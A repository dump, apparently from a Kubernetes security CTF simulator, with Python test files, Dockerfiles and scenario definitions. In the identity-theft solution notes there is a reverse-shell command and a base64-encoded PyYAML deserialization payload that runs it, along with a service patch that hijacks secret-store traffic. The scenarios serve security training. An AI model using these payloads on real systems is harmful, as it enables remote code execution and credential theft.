/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_importlib/builtin/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | from test.support import load_package_tests 3 | 4 | def load_tests(*args): 5 | return load_package_tests(os.path.dirname(__file__), *args) 6 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_importlib/builtin/util.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | assert 'errno' in sys.builtin_module_names 4 | NAME = 'errno' 5 | 6 | assert 'importlib' not in sys.builtin_module_names 7 | BAD_NAME = 'importlib' 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_importlib/extension/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | from test.support import load_package_tests 3 | 4 | def load_tests(*args): 5 | return load_package_tests(os.path.dirname(__file__), *args) 6 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_importlib/extension/util.py: -------------------------------------------------------------------------------- 1 | import imp 2 | from importlib import machinery 3 | import os 4 | import sys 5 | 6 | PATH = None 7 | EXT = None 8 | FILENAME = None 9 | NAME = '_testcapi' 10 | try: 11 | for PATH in sys.path: 12 | for EXT in machinery.EXTENSION_SUFFIXES: 13 | FILENAME = NAME + EXT 14 | FILEPATH = os.path.join(PATH, FILENAME) 15 | if os.path.exists(os.path.join(PATH, FILENAME)): 16 | raise StopIteration 17 | else: 18 | PATH = EXT = FILENAME = FILEPATH = None 19 | except StopIteration: 20 | pass 21 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_importlib/frozen/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | from test.support import load_package_tests 3 | 4 | def load_tests(*args): 5 | return load_package_tests(os.path.dirname(__file__), *args) 6 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_importlib/import_/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | from test.support import load_package_tests 3 | 4 | def load_tests(*args): 5 | return load_package_tests(os.path.dirname(__file__), *args) 6 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_importlib/import_/util.py: -------------------------------------------------------------------------------- 1 | import functools 2 | import importlib 3 | import unittest 4 | 5 | 6 | using___import__ = False 7 | 8 | 9 | def import_(*args, **kwargs): 10 | """Delegate to allow for injecting different implementations of import.""" 11 | if using___import__: 12 | return __import__(*args, **kwargs) 13 | else: 14 | return importlib.__import__(*args, **kwargs) 15 | 16 | 17 | def importlib_only(fxn): 18 | """Decorator to skip a test if using __builtins__.__import__.""" 19 | return unittest.skipIf(using___import__, "importlib-specific test")(fxn) 20 | 21 | 22 | def mock_path_hook(*entries, importer): 23 | """A mock sys.path_hooks entry.""" 24 | def hook(entry): 25 | if entry not in entries: 26 | raise ImportError 27 | return importer 28 | return hook 29 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_importlib/regrtest.py: -------------------------------------------------------------------------------- 1 | """Run Python's standard test suite using importlib.__import__. 2 | 3 | Tests known to fail because of assumptions that importlib (properly) 4 | invalidates are automatically skipped if the entire test suite is run. 5 | Otherwise all command-line options valid for test.regrtest are also valid for 6 | this script. 7 | 8 | """ 9 | import importlib 10 | import sys 11 | from test import regrtest 12 | 13 | if __name__ == '__main__': 14 | __builtins__.__import__ = importlib.__import__ 15 | sys.path_importer_cache.clear() 16 | 17 | regrtest.main(quiet=True, verbose2=True) 18 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_importlib/source/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | from test.support import load_package_tests 3 | 4 | def load_tests(*args): 5 | return load_package_tests(os.path.dirname(__file__), *args) 6 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_json/__main__.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | from test.test_json import load_tests 3 | 4 | unittest.main() 5 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_json/test_default.py: -------------------------------------------------------------------------------- 1 | from test.test_json import PyTest, CTest 2 | 3 | 4 | class TestDefault: 5 | def test_default(self): 6 | self.assertEqual( 7 | self.dumps(type, default=repr), 8 | self.dumps(repr(type))) 9 | 10 | 11 | class TestPyDefault(TestDefault, PyTest): pass 12 | class TestCDefault(TestDefault, CTest): pass 13 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_json/test_pass2.py: -------------------------------------------------------------------------------- 1 | from test.test_json import PyTest, CTest 2 | 3 | 4 | # from http://json.org/JSON_checker/test/pass2.json 5 | JSON = r''' 6 | [[[[[[[[[[[[[[[[[[["Not too deep"]]]]]]]]]]]]]]]]]]] 7 | ''' 8 | 9 | class TestPass2: 10 | def test_parse(self): 11 | # test in/out equivalence and parsing 12 | res = self.loads(JSON) 13 | out = self.dumps(res) 14 | self.assertEqual(res, self.loads(out)) 15 | 16 | 17 | class TestPyPass2(TestPass2, PyTest): pass 18 | class TestCPass2(TestPass2, CTest): pass 19 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_json/test_pass3.py: -------------------------------------------------------------------------------- 1 | from test.test_json import PyTest, CTest 2 | 3 | 4 | # from http://json.org/JSON_checker/test/pass3.json 5 | JSON = r''' 6 | { 7 | "JSON Test Pattern pass3": { 8 | "The outermost value": "must be an object or array.", 9 | "In this test": "It is an object." 10 | } 11 | } 12 | ''' 13 | 14 | 15 | class TestPass3: 16 | def test_parse(self): 17 | # test in/out equivalence and parsing 18 | res = self.loads(JSON) 19 | out = self.dumps(res) 20 | self.assertEqual(res, self.loads(out)) 21 | 22 | 23 | class TestPyPass3(TestPass3, PyTest): pass 24 | class TestCPass3(TestPass3, CTest): pass 25 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_lib2to3.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | from test.support.import_helper import import_fresh_module 3 | from test.support.warnings_helper import check_warnings 4 | 5 | with check_warnings(("", DeprecationWarning)): 6 | load_tests = import_fresh_module('lib2to3.tests', fresh=['lib2to3']).load_tests 7 | 8 | if __name__ == '__main__': 9 | unittest.main() 10 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_longexp.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | class LongExpText(unittest.TestCase): 4 | def test_longexp(self): 5 | REPS = 65580 6 | l = eval("[" + "2," * REPS + "]") 7 | self.assertEqual(len(l), REPS) 8 | 9 | if __name__ == "__main__": 10 | unittest.main() 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_openpty.py: -------------------------------------------------------------------------------- 1 | # Test to see if openpty works. (But don't worry if it isn't available.) 2 | 3 | import os, unittest 4 | 5 | if not hasattr(os, "openpty"): 6 | raise unittest.SkipTest("os.openpty() not available.") 7 | 8 | 9 | class OpenptyTest(unittest.TestCase): 10 | def test(self): 11 | master, slave = os.openpty() 12 | self.addCleanup(os.close, master) 13 | self.addCleanup(os.close, slave) 14 | if not os.isatty(slave): 15 | self.fail("Slave-end of pty is not a terminal.") 16 | 17 | os.write(slave, b'Ping!') 18 | self.assertEqual(os.read(master, 1024), b'Ping!') 19 | 20 | if __name__ == '__main__': 21 | unittest.main() 22 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_pep263.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_pep263.py -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_tk.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | from test import support 3 | from test.support import import_helper 4 | from test.support import check_sanitizer 5 | 6 | if check_sanitizer(address=True, memory=True): 7 | raise unittest.SkipTest("Tests involvin libX11 can SEGFAULT on ASAN/MSAN builds") 8 | 9 | # Skip test if _tkinter wasn't built. 10 | import_helper.import_module('_tkinter') 11 | 12 | # Skip test if tk cannot be initialized. 13 | support.requires('gui') 14 | 15 | def load_tests(loader, tests, pattern): 16 | return loader.discover('tkinter.test.test_tkinter') 17 | 18 | 19 | if __name__ == '__main__': 20 | unittest.main() 21 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/test_unittest.py: -------------------------------------------------------------------------------- 1 | import unittest.test 2 | 3 | from test import support 4 | 5 | 6 | def load_tests(*_): 7 | # used by unittest 8 | return unittest.test.suite() 9 | 10 | 11 | def tearDownModule(): 12 | support.reap_children() 13 | 14 | 15 | if __name__ == "__main__": 16 | unittest.main() 17 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/tf_inherit_check.py: -------------------------------------------------------------------------------- 1 | # Helper script for test_tempfile.py. argv[2] is the number of a file 2 | # descriptor which should _not_ be open. Check this by attempting to 3 | # write to it -- if we succeed, something is wrong. 4 | 5 | import sys 6 | import os 7 | from test.support import SuppressCrashReport 8 | 9 | with SuppressCrashReport(): 10 | verbose = (sys.argv[1] == 'v') 11 | try: 12 | fd = int(sys.argv[2]) 13 | 14 | try: 15 | os.write(fd, b"blat") 16 | except OSError: 17 | # Success -- could not write to fd. 18 | sys.exit(0) 19 | else: 20 | if verbose: 21 | sys.stderr.write("fd %d is open in child" % fd) 22 | sys.exit(1) 23 | 24 | except Exception: 25 | if verbose: 26 | raise 27 | sys.exit(1) 28 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/tracedmodules/__init__.py: -------------------------------------------------------------------------------- 1 | """This package contains modules that help testing the trace.py module. Note 2 | that the exact location of functions in these modules is important, as trace.py 3 | takes the real line numbers into account. 4 | """ 5 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/tracedmodules/testmod.py: -------------------------------------------------------------------------------- 1 | def func(x): 2 | b = x + 1 3 | return b + 2 4 | 5 | def func2(): 6 | """Test function for issue 9936 """ 7 | return (1, 8 | 2, 9 | 3) 10 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/warning_tests.py: -------------------------------------------------------------------------------- 1 | # Helper module for testing the skipmodules argument of warnings.warn() 2 | 3 | import warnings 4 | 5 | def outer(message, stacklevel=1): 6 | inner(message, stacklevel) 7 | 8 | def inner(message, stacklevel=1): 9 | warnings.warn(message, stacklevel=stacklevel) 10 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/xmltestdata/simple-ns.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | text 5 | texttail 6 | 7 | 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/xmltestdata/simple.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | text 4 | texttail 5 | 6 | 7 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/xmltestdata/test.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/xmltestdata/test.xml -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/xmltestdata/test.xml.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/xmltestdata/test.xml.out -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/xmltests.py: -------------------------------------------------------------------------------- 1 | # Convenience test module to run all of the XML-related tests in the 2 | # standard library. 3 | 4 | import sys 5 | import test.support 6 | 7 | test.support.verbose = 0 8 | 9 | def runtest(name): 10 | __import__(name) 11 | module = sys.modules[name] 12 | if hasattr(module, "test_main"): 13 | module.test_main() 14 | 15 | runtest("test.test_minidom") 16 | runtest("test.test_pyexpat") 17 | runtest("test.test_sax") 18 | runtest("test.test_xml_dom_minicompat") 19 | runtest("test.test_xml_etree") 20 | runtest("test.test_xml_etree_c") 21 | runtest("test.test_xmlrpc") 22 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/unittest/__main__.py: -------------------------------------------------------------------------------- 1 | """Main entry point""" 2 | 3 | import sys 4 | if sys.argv[0].endswith("__main__.py"): 5 | import os.path 6 | # We change sys.argv[0] to make help message more useful 7 | # use executable without path, unquoted 8 | # (it's just a hint anyway) 9 | # (if you have spaces in your executable you get what you deserve!) 10 | executable = os.path.basename(sys.executable) 11 | sys.argv[0] = executable + " -m unittest" 12 | del os 13 | 14 | __unittest = True 15 | 16 | from .main import main 17 | 18 | main(module=None) 19 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/unittest/test/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import unittest 4 | 5 | 6 | here = os.path.dirname(__file__) 7 | loader = unittest.defaultTestLoader 8 | 9 | def suite(): 10 | suite = unittest.TestSuite() 11 | for fn in os.listdir(here): 12 | if fn.startswith("test") and fn.endswith(".py"): 13 | modname = "unittest.test." + fn[:-3] 14 | try: 15 | __import__(modname) 16 | except unittest.SkipTest: 17 | continue 18 | module = sys.modules[modname] 19 | suite.addTest(loader.loadTestsFromModule(module)) 20 | suite.addTest(loader.loadTestsFromName('unittest.test.testmock')) 21 | return suite 22 | 23 | 24 | if __name__ == "__main__": 25 | unittest.main(defaultTest="suite") 26 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/unittest/test/__main__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import unittest 3 | 4 | 5 | def load_tests(loader, standard_tests, pattern): 6 | # top level directory cached on loader instance 7 | this_dir = os.path.dirname(__file__) 8 | pattern = pattern or "test_*.py" 9 | # We are inside unittest.test, so the top-level is two notches up 10 | top_level_dir = os.path.dirname(os.path.dirname(this_dir)) 11 | package_tests = loader.discover(start_dir=this_dir, pattern=pattern, 12 | top_level_dir=top_level_dir) 13 | standard_tests.addTests(package_tests) 14 | return standard_tests 15 | 16 | 17 | if __name__ == '__main__': 18 | unittest.main() 19 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/unittest/test/dummy.py: -------------------------------------------------------------------------------- 1 | # Empty module for testing the loading of modules 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/unittest/test/testmock/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import unittest 4 | 5 | 6 | here = os.path.dirname(__file__) 7 | loader = unittest.defaultTestLoader 8 | 9 | def load_tests(*args): 10 | suite = unittest.TestSuite() 11 | for fn in os.listdir(here): 12 | if fn.startswith("test") and fn.endswith(".py"): 13 | modname = "unittest.test.testmock." + fn[:-3] 14 | __import__(modname) 15 | module = sys.modules[modname] 16 | suite.addTest(loader.loadTestsFromModule(module)) 17 | return suite 18 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/unittest/test/testmock/support.py: -------------------------------------------------------------------------------- 1 | target = {'foo': 'FOO'} 2 | 3 | 4 | def is_instance(obj, klass): 5 | """Version of is_instance that doesn't access __class__""" 6 | return issubclass(type(obj), klass) 7 | 8 | 9 | class SomeClass(object): 10 | class_attribute = None 11 | 12 | def wibble(self): pass 13 | 14 | 15 | class X(object): 16 | pass 17 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/urllib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/urllib/__init__.py -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/urllib/error.py: -------------------------------------------------------------------------------- 1 | class HTTPError(Exception):pass -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/webbrowser.py: -------------------------------------------------------------------------------- 1 | # Brython-specific version 2 | 3 | from browser import window 4 | 5 | def open(url, new=0, autoraise=True): 6 | window.open(url) 7 | 8 | def open_new(url): 9 | return window.open(url, "_blank") 10 | 11 | def open_new_tab(url): 12 | return open(url) 13 | 14 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/libs/_posixsubprocess.js: -------------------------------------------------------------------------------- 1 | var $module = (function ($B) { 2 | 3 | return { 4 | cloexec_pipe: function () { 5 | } // fixme 6 | } 7 | })(__BRYTHON__) 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/hydrelaps/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | FROM ubuntu:22.04 4 | 5 | WORKDIR / 6 | 7 | RUN apt update && apt install -y python3 python3-pip 8 | 9 | COPY requirements.txt requirements.txt 10 | RUN pip3 install -r requirements.txt 11 | 12 | ENV PATH="${PATH}:/usr/local/bin/" 13 | 14 | RUN mkdir app 15 | COPY application.py app/application.py 16 | COPY db-init.py app/db-init.py 17 | COPY entrypoint.sh /usr/local/bin/entrypoint.sh 18 | RUN chmod +x /usr/local/bin/entrypoint.sh 19 | 20 | ENTRYPOINT ["entrypoint.sh"] -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/hydrelaps/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ ! -f "/host/user.db" ]; then #check whether the DB is initialized. 4 | echo 'Initializing database' 5 | python3 app/db-init.py --user=root 6 | echo 'Database initialized' 7 | fi 8 | 9 | python3 app/application.py --user=root -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/hydrelaps/requirements.txt: -------------------------------------------------------------------------------- 1 | flask-rest-jsonapi-next 2 | flask_sqlalchemy 3 | faker -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/jumpbox/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | FROM controlplaneoffsec/kubectl 4 | 5 | WORKDIR / 6 | RUN apt update && apt install -y curl 7 | RUN useradd -ms /bin/bash sre 8 | USER sre 9 | COPY --chown=sre:sre chat-archive.enc /home/sre/chat-archive.enc 10 | COPY --chown=sre:sre secure-archive-chat.sh /home/sre/secure-archive-chat.sh 11 | RUN chmod +x /home/sre/secure-archive-chat.sh -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/jumpbox/chat-archive.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/jumpbox/chat-archive.enc -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/tasks.yaml: -------------------------------------------------------------------------------- 1 | category: CloudNative SecurityCon North America 2023 CTF 2 | difficulty: Complex 3 | kind: cp.simulator/scenario:1.0.0 4 | objective: Learn about Leveraging ephemeral containers for initial access, service account enumeration and privilege escalation, service account token abuse, vulnerable daemonsets 5 | tasks: 6 | "1": 7 | hints: 8 | sortOrder: 1 9 | startingPoint: 10 | mode: pod 11 | podName: jumpbox-terminal 12 | podNamespace: dmz 13 | summary: Pivot across multiple systems, escalate privileges and obtain full cluster compromise 14 | name: coastline-cluster-attack 15 | -------------------------------------------------------------------------------- /scenarios/commandeer-container/README.md: -------------------------------------------------------------------------------- 1 | # Capture the Flag - Commandeer Container 2 | 3 | ## Overview 4 | 5 | Level - Easy 6 | 7 | Obtain access to container via `kubectl attach` and use Kubernetes knowledge to enumerate services and secrets to get 8 | the flag. 9 | 10 | -------------------------------------------------------------------------------- /scenarios/commandeer-container/misty-gally/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | FROM controlplaneoffsec/kubectl 4 | 5 | WORKDIR / 6 | RUN apt update && apt install -y curl jq 7 | RUN useradd -ms /bin/bash stowaway 8 | USER stowaway -------------------------------------------------------------------------------- /scenarios/commandeer-container/tasks.yaml: -------------------------------------------------------------------------------- 1 | category: KubeCon + CloudNativeCon Europe 2023 CTF 2 | difficulty: Easy 3 | kind: cp.simulator/scenario:1.0.0 4 | objective: Learn about accessing containers without kubectl exec 5 | tasks: 6 | "1": 7 | hints: 8 | sortOrder: 1 9 | startingPoint: 10 | mode: pod 11 | podName: dark-tide 12 | podNamespace: sea 13 | summary: Use Kubernetes to smuggle aboard and find the hidden treasure 14 | name: commandeer-container 15 | -------------------------------------------------------------------------------- /scenarios/commandeer-container/treasure-chest/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | ## 4 | ## Build 5 | ## 6 | FROM golang:1.18-bullseye AS build 7 | 8 | WORKDIR /chest 9 | 10 | # Go Webapp 11 | COPY go.mod ./ 12 | COPY *.go ./ 13 | 14 | RUN go build -o /var/www/chest -ldflags='-w -s' ./main.go 15 | 16 | ## 17 | ## Deploy 18 | ## 19 | FROM gcr.io/distroless/base-debian10 20 | 21 | WORKDIR / 22 | 23 | COPY --from=build --chown=nonroot:nonroot /var/www /var/www 24 | COPY --from=build /go/bin /usr/bin 25 | 26 | USER nonroot:nonroot 27 | 28 | EXPOSE 8080 29 | 30 | CMD ["/var/www/chest"] 31 | -------------------------------------------------------------------------------- /scenarios/commandeer-container/treasure-chest/go.mod: -------------------------------------------------------------------------------- 1 | module main 2 | 3 | go 1.18 4 | -------------------------------------------------------------------------------- /scenarios/devious-developer-data-dump/README.md: -------------------------------------------------------------------------------- 1 | # Devious Developer Data Dump (a.k.a CI/CD) -------------------------------------------------------------------------------- /scenarios/devious-developer-data-dump/tasks.yaml: -------------------------------------------------------------------------------- 1 | category: KubeCon + CloudNativeCon Europe 2023 CTF 2 | difficulty: Complex 3 | kind: cp.simulator/scenario:1.0.0 4 | objective: Learn about how secret discovery in a code repository can lead to full cluster compromise 5 | tasks: 6 | "1": 7 | hints: 8 | sortOrder: 1 9 | startingPoint: 10 | mode: pod 11 | podName: jumpbox 12 | podNamespace: dmz 13 | summary: Exploit a public repository to access a production environment and steal sensitive data 14 | name: devious-developer-data-dump -------------------------------------------------------------------------------- /scenarios/identity-theft/README.md: -------------------------------------------------------------------------------- 1 | # YAML CTF 2 | 3 | ## Architecture 4 | 5 | User Terminal -> Pod-Checker -> Yamlidator 6 | Pod-Checker-Job -> Secret-Store -> Postgresql Database 7 | Secret Store is integrated with Dex OIDC 8 | 9 | ## Solution 10 | 11 | Solution resources are located in _solution_ directory. 12 | -------------------------------------------------------------------------------- /scenarios/identity-theft/_solution/config.md: -------------------------------------------------------------------------------- 1 | # Config 2 | 3 | ## pyaml reverse shell 4 | 5 | ```bash 6 | echo "/bin/bash -i >& /dev/tcp/192.168.11.195/9090 0>&1" | base64 7 | ``` 8 | 9 | ```python 10 | !!python/object/new:os.system [ echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEuMTk1LzkwOTAgMD4mMQo=" | base64 -d | bash ] 11 | ``` 12 | 13 | ## dex public url 14 | 15 | ```bash 16 | curl http://localhost:5556/dex/.well-known/openid-configuration 17 | ``` 18 | -------------------------------------------------------------------------------- /scenarios/identity-theft/_solution/service-patch.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: secret-store 5 | namespace: private-services 6 | spec: 7 | selector: 8 | app: terminal 9 | ports: 10 | - port: 5050 11 | targetPort: 9090 12 | protocol: TCP -------------------------------------------------------------------------------- /scenarios/identity-theft/_solution/tools.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: tools 5 | namespace: private-services 6 | labels: 7 | app: terminal 8 | spec: 9 | containers: 10 | - image: docker.io/controlplane/sectools:latest 11 | command: ["sleep", "2d"] 12 | name: tools 13 | restartPolicy: Always -------------------------------------------------------------------------------- /scenarios/identity-theft/pod-checker/.env: -------------------------------------------------------------------------------- 1 | YAMLIDATOR_URL=http://127.0.0.1:5000 -------------------------------------------------------------------------------- /scenarios/identity-theft/pod-checker/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | ## 4 | ## Build 5 | ## 6 | FROM golang:1.20-bullseye AS build 7 | 8 | WORKDIR /pod-checker 9 | 10 | COPY go.mod . 11 | COPY go.sum . 12 | COPY *.go ./ 13 | 14 | COPY . . 15 | RUN go build -o pod-checker -ldflags='-w -s' . 16 | 17 | ## 18 | ## Deploy 19 | ## 20 | FROM gcr.io/distroless/base-debian10 21 | 22 | WORKDIR /app 23 | 24 | COPY --from=build /pod-checker/pod-checker . 25 | COPY --from=build /pod-checker/.env . 26 | COPY --from=build /pod-checker/frontend/static/ frontend/static/ 27 | COPY --from=build /pod-checker/frontend/template/ frontend/template/ 28 | 29 | EXPOSE 8080 30 | 31 | CMD ["./pod-checker"] -------------------------------------------------------------------------------- /scenarios/identity-theft/pod-checker/frontend/app/about/about.go: -------------------------------------------------------------------------------- 1 | package about 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/gin-gonic/gin" 7 | ) 8 | 9 | // Handler for our home page. 10 | func Handler(ctx *gin.Context) { 11 | ctx.HTML(http.StatusOK, "about.html", nil) 12 | } 13 | -------------------------------------------------------------------------------- /scenarios/identity-theft/pod-checker/frontend/app/example/example.go: -------------------------------------------------------------------------------- 1 | package example 2 | 3 | import ( 4 | "bytes" 5 | "io" 6 | "io/ioutil" 7 | "net/http" 8 | "os" 9 | 10 | "github.com/gin-gonic/gin" 11 | ) 12 | 13 | func Handler(ctx *gin.Context) { 14 | jsonData, err := ioutil.ReadAll(ctx.Request.Body) 15 | if err != nil { 16 | ctx.AbortWithError(http.StatusInternalServerError, err) 17 | } 18 | 19 | yamlidatorURL := os.Getenv("YAMLIDATOR_URL") 20 | 21 | client := &http.Client{} 22 | 23 | response, _ := client.Post(yamlidatorURL+"/api/v1/example", "application/json", bytes.NewBuffer(jsonData)) 24 | 25 | defer response.Body.Close() 26 | 27 | body, err := io.ReadAll(response.Body) 28 | if err != nil { 29 | ctx.AbortWithError(http.StatusInternalServerError, err) 30 | } 31 | 32 | response.Body.Close() 33 | 34 | ctx.Data(http.StatusOK, "text/html", body) 35 | 36 | } 37 | -------------------------------------------------------------------------------- /scenarios/identity-theft/pod-checker/frontend/app/home/home.go: -------------------------------------------------------------------------------- 1 | package home 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/gin-gonic/gin" 7 | ) 8 | 9 | // Handler for our home page. 10 | func Handler(ctx *gin.Context) { 11 | ctx.HTML(http.StatusOK, "home.html", nil) 12 | } 13 | -------------------------------------------------------------------------------- /scenarios/identity-theft/pod-checker/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "net/http" 6 | "wakeward/yaml-ctf/_app/pod-checker/backend/router" 7 | 8 | "github.com/joho/godotenv" 9 | ) 10 | 11 | func main() { 12 | if err := godotenv.Load(); err != nil { 13 | log.Fatalf("Failed to load the env vars: %v", err) 14 | } 15 | 16 | rtr := router.New() 17 | 18 | log.Print("Server listening on http://localhost:8080/") 19 | if err := http.ListenAndServe("0.0.0.0:8080", rtr); err != nil { 20 | log.Fatalf("There was an error with the http server: %v", err) 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /scenarios/identity-theft/public-terminal/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | FROM controlplaneoffsec/kubectl 4 | 5 | WORKDIR / 6 | RUN apt update && apt install -y curl jq sudo vim ncat 7 | RUN useradd -ms /bin/bash elit3hex0r 8 | RUN sed -i '/# User alias specification/a elit3hex0r ALL=(ALL) NOPASSWD:ALL' /etc/sudoers 9 | USER elit3hex0r 10 | 11 | COPY --chown=elit3hex0r:elit3hex0r hacker-notes.md /home/elit3hex0r/hacker-notes.md -------------------------------------------------------------------------------- /scenarios/identity-theft/public-terminal/hacker-notes.md: -------------------------------------------------------------------------------- 1 | # Hacker Notes 2 | 3 | author: elitehexor 4 | 5 | ## Initial Access 6 | 7 | I've found the pod-checker frontend at: `ssh -F cp_simulator_config -L 8080:localhost:8080 -N bastion` 8 | 9 | ## Exploit 10 | 11 | ¯\_(ツ)_/¯ -------------------------------------------------------------------------------- /scenarios/identity-theft/secret-store/.env: -------------------------------------------------------------------------------- 1 | DB_HOST=localhost 2 | DB_PORT=5432 3 | DB_USER=postgres 4 | DB_PASSWORD=password 5 | DB_NAME=auth 6 | SSL_MODE=disable 7 | AUTH0_CLIENT_ID=pod-checker 8 | AUTH0_DOMAIN=http://127.0.0.1:5556/dex -------------------------------------------------------------------------------- /scenarios/identity-theft/secret-store/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | ## 4 | ## Build 5 | ## 6 | FROM golang:1.20-bullseye AS build 7 | 8 | WORKDIR /secret-store 9 | 10 | COPY go.mod . 11 | COPY go.sum . 12 | 